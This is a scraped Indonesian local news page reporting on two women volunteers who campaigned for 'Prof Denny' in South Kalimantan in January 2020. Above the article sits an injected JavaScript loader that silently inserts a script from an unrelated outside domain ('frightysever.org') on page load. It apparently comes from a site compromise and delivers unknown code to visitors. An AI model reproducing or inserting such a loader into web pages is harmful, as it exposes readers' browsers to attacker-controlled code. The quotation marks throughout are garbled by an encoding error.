(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Di antara relawan yang berhadir pada rapat koordinasi dan konsolidasi Relawan Haji Denny di Hotel Victoria Banjarmasin, Sabtu (18/1/2020) siang, ada dua anggota Relawan Haji Denny yang berasal dari kalangan emak-emak.
Pertama adalah Emma Rivilla dari Amuntai, Kabupaten Hulu Sungai Utara (HSU). Dirinya menceritakan soal kondisi tempat tinggalnya yang mayoritas merupakan lahan rawa, Emma mendampingi Prof Denny dengan cara menaiki jukung atau perahu.
Dirinya pun pernah membagikan kalender kepada masyarakat HSU, seperti ke rumah-rumah ataupun kepada masyarakat yang tengah memancing. “Rumah-rumah banyak yang tak ada jembatannya. Jadi harus menggunakan jukung,†kata Emma.
Dirinya berharap, pencalonan Prof Denny menjadi angin segar bagi masyarakat HSU maupun Banua Anam pada umumnya. Diakuinya, kawasan Banua Anam masih ‘dianaktirikan’.
“Kita ingin Banua Anam khususnya Amuntai dilihat lagi oleh Prof Denny,†tandasnya.
Tak hanya Emma, seorang ibu rumah tangga bernama Histaria Ribut asal Pelaihari Kabupaten Tanah Laut (Tala) juga memiliki cerita lain dalam upaya menyosialisasikan Prof Denny. Dirinya terpanggil untuk menjadi Relawan Haji Denny kepada masyarakat Tala.
“Saya menyosialisasikan tidak hanya di tempat-tempat atau acara-acara, tapi saya berkeliling,†kata Histaria.
Bahkan, Histaria menyiapkan kalender bergambar Prof Denny di dalam mobilnya. Untuk kemudian dibagikan kepada masyarakat, khususnya di kawasan yang ramai dikunjungi orang.
“Biasanya pagi-pagi banyak ibu-ibu menunggu anaknya di sekolah TK. Bisa juga nebeng acara orang lain. Pokoknya di mana ada banyak orang, saya selalu berusaha menyosialisasikan beliau,†tambahnya.
Tak hanya membagikan kepada masyarakat, wanita ini juga membagikan kalender ke beberapa warung dan bahkan tak segan-segan menyediakan paku dan plester agar mudah ditempel.
Histaria mengakui, respon masyarakat Pelaihari khususnya terhadap Prof Denny sangat luar biasa. “Kalau dipresentasikan 80 persen saya yakin,†sebutnya.
Histaria juga pernah viral saat dirinya memasang spanduk Prof Denny seorang diri dengan menggunakan tangga. Dirinya bersemangat untuk memasang spanduk itu seorang diri tanpa harus menunggu bantuan orang lain.
“Tak bisa nunggu lama-lama. Harus nunggu orang dan diupahkan tidak bisa. Saya saking semangatnya memasang sendiri, saat itu jam dua belas siang,†tukasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.